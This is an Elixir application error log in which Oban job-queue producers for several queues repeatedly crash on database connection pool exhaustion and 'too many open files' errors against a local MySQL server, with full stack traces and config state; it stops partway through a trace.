    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:53:37.239672Z], limit: 20, uuid: "40f134ba-a1a1-49ad-ad5e-312b21574652", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.239682Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248924>, refresh_timer: #Reference<0.2525715032.1068236804.240569>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:53:37.241590Z], limit: 3, uuid: "bb61110e-dd78-46e5-b694-9e630f529505", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.241595Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248927>, refresh_timer: #Reference<0.2525715032.1068236804.240609>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:53:37.241412Z], limit: 5, uuid: "3cfc9522-904b-48cc-838b-e0d4ab06f1b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.241418Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248928>, refresh_timer: #Reference<0.2525715032.1121189889.99579>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:53:37.241557Z], limit: 10, uuid: "b4ca9636-62a7-4e00-9500-e9dfce01fc92", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.241563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248925>, refresh_timer: #Reference<0.2525715032.1068236804.240606>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:53:37.252120Z], limit: 5, uuid: "7c19062b-2225-4e54-a33a-bc0c4b528d48", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:37.252129Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.248923>, refresh_timer: #Reference<0.2525715032.1099169794.248915>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:53:52.233000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:57.048000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:57.631000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:57.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:53:57.957000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:53:49.239732Z], limit: 5, uuid: "abc7806b-492b-4504-9ae7-d034f1649576", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.239738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249210>, refresh_timer: #Reference<0.2525715032.1077411843.224435>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:53:49.239885Z], limit: 3, uuid: "f0861f20-40cd-4289-8444-ff5a6caccffc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.239890Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249212>, refresh_timer: #Reference<0.2525715032.1077411843.224441>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 811ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:53:49.240250Z], limit: 10, uuid: "72fff673-a7d9-42dd-8abf-f9c5267598ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.240255Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249209>, refresh_timer: #Reference<0.2525715032.1077411843.224454>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:53:49.240567Z], limit: 5, uuid: "20672b1b-f9b2-419b-bcd8-c9f0b20dc65e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:53:49.240573Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.249214>, refresh_timer: #Reference<0.2525715032.1121189889.99739>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:02.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
